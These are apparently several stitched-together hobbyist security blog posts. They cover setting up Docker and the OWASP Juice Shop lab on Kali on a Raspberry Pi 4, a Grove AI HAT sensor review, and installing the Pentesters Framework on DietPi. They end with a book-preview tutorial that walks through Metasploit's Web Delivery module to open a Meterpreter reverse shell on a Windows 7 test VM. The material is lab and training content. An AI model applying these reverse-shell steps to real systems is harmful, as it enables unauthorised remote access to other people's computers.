The Raspberry Pi is a small yet power platform that is perfect for building a cost effective cybersecurity training lab. In this article we will look at installing Docker on a Raspberry Pi 4 (4GB) running Kali Linux (64 bit).
The case pictured is the Official Raspberry Pi 7″ touchscreen in a modified touchscreen case. It was made for the Pi 3, only slight modifications were made so the Pi 4 could fit in it. Modify cases at your own risk, you could cut yourself or destroy your case.
Installing Kali Linux on a Pi 4
This article assumes that you have already installed and updated Kali Linux on your Pi 4. If you have not, simply download the 64 bit Kali Linux 4 ARM image from Offensive Security.
Extract the image, write it to an MicroSD Card, insert it into your Pi4, attach peripherals, and power last of all. Allow the system to boot up completely.
Login with “kali/ kali” – Since Kali 2020, you no longer use “root/ toor” to log in. Reboot, Update and Upgrade, and reboot one last time. You are now ready to install Docker.
You can add a user to the Docker group if you wish:
sudo usermod -aG docker username
You may need to start the Docker service manually
sudo service docker start
That’s it! You can now run Docker and install any Docker images that you want.
OWASP Juice Shop on the Raspberry Pi
Some Docker containers will not run on ARM, but you can find ports for some of the more popular ones. Just realize that some times these aren’t “Official” images, so proceed with due caution.
Also, the purposefully vulnerable Docker Images are just that, so follow all precautions necessary to protecting your systems while running them. The most preferred method is a stand alone local address only test LAN, disconnected or firewalled from both the internet and any production systems.
We will install the Docker “OWASP Juice Shop” image from the Docker library. This is an ARM port of the official OWASP Juice Shop program.
Bring next level intelligence to your Raspberry Pi projects with the Grove AI HAT for Edge Computing. In this article we will take a quick hands-on view of the Grove AI HAT board & Ultrasonic Sensor in standalone mode, and used as a Raspberry Pi HAT.
The Grove AI HAT for Edge Computing is built around Sipeed MAix M1 AI MODULE with the Kendryte K210 processor inside. It’s a low cost but powerful stand-alone board that can also run as a Raspberry Pi Artificial Intelligence HAT.
The board not only bristles with peripheral connections (I2C/UART/SPI/I2S/PWM/GPIO), but has built in audio and video processing capabilities for AI projects. This means you can connect multiple Grove Sensors to the board. Couple that with its video and audio capabilities and it makes it an interesting choice for Edge Computing environments.
Seeedstudio provided me with a
Grove AI Hat board for review. There are plenty of articles on the technical
specs of the board, so this article will be more of a “hands-on” usage review.
Let’s hook a Grove sensor up to the board and use it on its own, and as a
Raspberry Pi HAT.
The Grove AI HAT is a new board,
so there are not a lot of usability instructions available at this time. One of
the quickest ways I found to interface with the board is to use the Seeedstudio
Arduino interface. The ArduinoCore-API interface has been added to the board,
allowing support for multiple development environments, including Arduino IDE,
Linux, Windows, and Mac OS X. This basically means you can run Grove Arduino
Libraries and many other Arduino libraries on this board.
Enough intro, let’s see it in action!
Basic Arduino Instructions
The Grove AI HAT can function
entirely on its own and in conjunction with a Raspberry Pi. A good starting
point is to connect one of the many Grove sensors to the board, and perform
basic input/ output using the Arduino library.
In this section, we will see how to interact with a Grove Ultrasonic range sensor and view the output using the individual board, and then as a Raspberry Pi HAT.
Follow the Arduino setup instructions on the Seeed website carefully. You need to add board drivers and use a specific writing option (K-flash), if you pick the wrong options, your board will not function properly.
Download and install the Arduino IDE on your
Run Arduino IDE
Add the K210 Grove AI HAT for Edge Computing
Select the K-flash programmer
The Arduino IDE is now configured to work with the Grove
Using the Grove Board Standalone
Once everything is setup, you can
use Seeed’s sample Arduino code to control the board directly. For example, the
WARNING: Do no connect or
disconnect sensors to the board while it is powered up, you could damage it!
Connect your range sensor to the board (I used port D13)
Then using a USB C cable, connect
the board to your computer. This will power up the board and allow your computer
to communicate to it.
load in the ultrasonic Arduino library into your sketch project folder.
the Arduino IDE, enter the sample code provided by Seeed:
Compile and write the code to your board
Now, open the Arduino serial monitor and you should see live range detection:
Move your hand back and forth in
front of the range detector, you should see the range update live in your
Serial Monitor tab.
That’s all well and good, but this is a Raspberry Pi HAT!
How do you use it with a Raspberry Pi?
Grove on the Raspberry Pi
In this section we will look at using
the Grove AI board with a Raspberry Pi 3b+. The Pi 3b is running Raspbian and
is setup up for remote access via Putty. To use the Grove Board and Pi in
tandem, we need to connect them together. Disconnect power (the USB cable),
connect the riser board to the Grove board, and then carefully connect the Pi
and grove boards together. Make sure no power is applied to either board, and
the pins line up correctly, or you could damage your boards.
Only provide power to one board, the Pi or the Grove Hat,
if you connect power to both boards you need to change a switch on the Grove
Connect the USB cord from your PC
to the Grove power port. Both the Grove board and Raspberry Pi should power up
at the same time. In this configuration, you can still use the Arduino Serial
Monitor to view the sensor output. But we want to see it on the Pi.
To use the Grove board on a Pi, we will need to install the
Grove Python library.
Now with the Grove library installed, we can run a short
Python program to communicate with the Sensor through the Raspberry PI.
Enter in, save and run the following Python program in the
look like this when done:
Now, just run the ultrasonic.py program:
And that’s it! You should see distance displayed in real
You can open the Arduino Serial monitor and get readings
from it at the same time, as seen below:
One interesting feature is that if the Pi is shutdown, or
the Python program stopped, the Grove board can continue to work.
As seen below:
The Ultrasonic program was stopped, but the device continues
to operate as seen in the Arduino serial monitor.
As mentioned at the beginning of
this video, the Grove HAT has video and audio processing capability built in. I
ran into some questions on how to access the video and audio part of the card
and am waiting to hear back from Seeed tech support. So, I will explore this
capability in future articles, but for now, Seeed has a great demo video of
this capability on their website:
This was just a very basic intro to the Grove AI HAT for Edge Computing. The board is very exciting as it brings a host of sensor capabilities to the Raspberry Pi platform. I believe this will allow for much more intelligent Pentest drop boxes (it could sense and record when someone was in the room, for example), robotics projects, Magic Mirrors, and whatever else you can dream up. Stay tuned, more to come!
About Seeed Studio: Seeed is the IoT hardware enabler providing services over 10 years that empower makers to realize their projects and products. Seeed offers a wide array of hardware platforms and sensor modules ready to be integrated with existing IoT platforms and one stop PCB manufacturing and Prototype PCB Assembly.
Seeed Studio provides a wide selection of electronic parts including Arduino, Raspberry Pi and many different development board platforms. Especially the Grove System help engineers and makers avoid jumper wires problems. Seeed Studio has developed more than 280 Grove modules covering a wide range of applications that can fulfill a variety of needs.
Building a Raspberry Pi 4 Ethical Hacking platform using The
Pentesters Framework and DietPi.
I’ve been playing with using different hacking tools and Operating Systems with the Pi 4. In this article I cover installing The Pentesters Framework on a RPi 4 running DietPi.
DietPi is a very lightweight Debian OS for the Raspberry Pi. The Pentesters Framework by TrustedSec is an Ethical Hacking installation script that automatically installs and updates over 250 modules/ tools. It would be great if they would work together on a Raspberry Pi 4. The good news is that is does – With a couple tweaks.
I cover installing and using The Pentesters Framework on Raspberry Pi in my latest book. So, I am not going to go into great detail on using the tools in PTF. I just want to cover actually installing it on DietPi.
NOTE: You will need a Raspberry Pi 4, and at the minimum a 32 GB MicroSD card if you want to install all of the PTF tools. Don’t have a Pi 4? Seeed is currently offering free shipping for orders over $119 with a Raspberry Pi 4 4GB.
Write the image to a MicroSD card, balenaEtcher works great!
Insert the MicroSD card into your Pi, attach peripherals and
lastly connect power (always connect power last). When DietPi boots up you will
be presented with some options.
Pick any software install options you want, then
“Go install software”
Requested software and updates will be installed
Reboot when finished
I just run through it quickly the first time to get the
latest OS updates. Note the CPU temp warning, it’s a Pi 4, it runs hotter than
a Pi 3.
To install an “X” Desktop or any other included software,
There are a ton of add-on software options under “Software Optimised”.
For example, if you want a graphical desktop, pick the X-Desktop you want and
then the “Go install software” option. You can also setup your login
preferences from this menu – auto login, desktop login, etc.
All we really need here is to install Python. Then we need
to make a small config file tweak and finally install PTF.
From the DietPi-Software menu, go to “Software Additional”
and install Python:
Cursor down to Python Pip, hit the space bar to
You will return to the main menu.,
Cursor down and select “Go >> Start Installation”
Reboot when finished
We need to install git:
Open a terminal and enter, “apt install
Next we need to comment out a line in the ‘/etc/hosts’ file
or the PTF install will error out.
Comment out the “::1 localhost IPv6 localhost” line
That’s it! We can now proceed with the standard PTF install:
Type “show modules” to see all available modules. You can install individual ones if you wish. If you have a large memory card (32 Gb), you can install all of them.
To install all tools, enter “use modules/install_update_all“
Reboot when finished
The install will take a very long time, especially if you
install all of the modules. After install, all tools will be located in
category themed directories under the ‘/pentest’ directory, as seen below:
Many of the tools can be run from anywhere, but some tools require you to change into its install directory for it to work properly. This is usually ‘/pentest’, but some run from ‘/usr/share’ as well. Check it out, there are a ton of very good tools at your disposal, like “Sniper”:
And there you have it. Again, I go into much deeper detail in my book about using PTF on a Pi, I just wanted to show how it could be installed on DietPi. If you want to learn a lot more about using Raspberry Pi for Ethical hacking check out my latest book – Security Testing with Raspberry Pi
This is a sneak peak at a section of the “Web Delivery” chapter in my new Ethical Hacking book, “Intermediate Security Testing with Kali Linux 2“. The Metasploit Web Delivery module is one of the easiest ways to quickly get a remote shell from a Linux, Mac or Windows system. In the full chapter I show how to use it against all three platforms. For the preview we will only cover Windows based targets.
As always, never try to access a network or system that you do not have express written permission to do so. Accessing systems that you don’t have permission to is illegal and you could end up in jail.
In this section we will learn how to using the Web Delivery exploit module. We will be using Metasploit and our Windows 7 VM as the target.
Let’s get started!
1. From a Kali terminal, type “msfconsole”:
2. Now enter:
set lhost [Kali IP Address]
set lport 4444
3. Type, “show targets”:
Notice we have 3 options, Python, PHP and PSH (PowerShell). We will be attacking a Windows system, so we will use PowerShell.
4. Enter, “set target 2”
5. Set the payload, “set payload windows/meterpreter/reverse_tcp”
6. You can check that everything looks okay with “show options”:
7. Now type, “exploit”:
This starts a listener server that hosts our payload and then waits for an incoming connection. All we need to do is run the generated PowerShell command on our target system.
8. On the Windows 7 system, open a command prompt and paste in and execute the PowerShell command:
And after a few seconds you should see:
A meterpreter session open!
9. Now type, “sessions” to list the active sessions
10. Connect to it with “sessions -i 1”
We now have a full Meterpreter shell to the target:
Type “exit” to quit the active session and “exit” again to exit Metasploit.
I hope you enjoyed this chapter section preview. In the full chapter, I show how Web Delivery can be set to work against Linux and Mac systems also. In addition in the Msfvenom chapter you will also see how to make standalone executable shells that don’t require the target to open a command prompt on their system and manually run the code.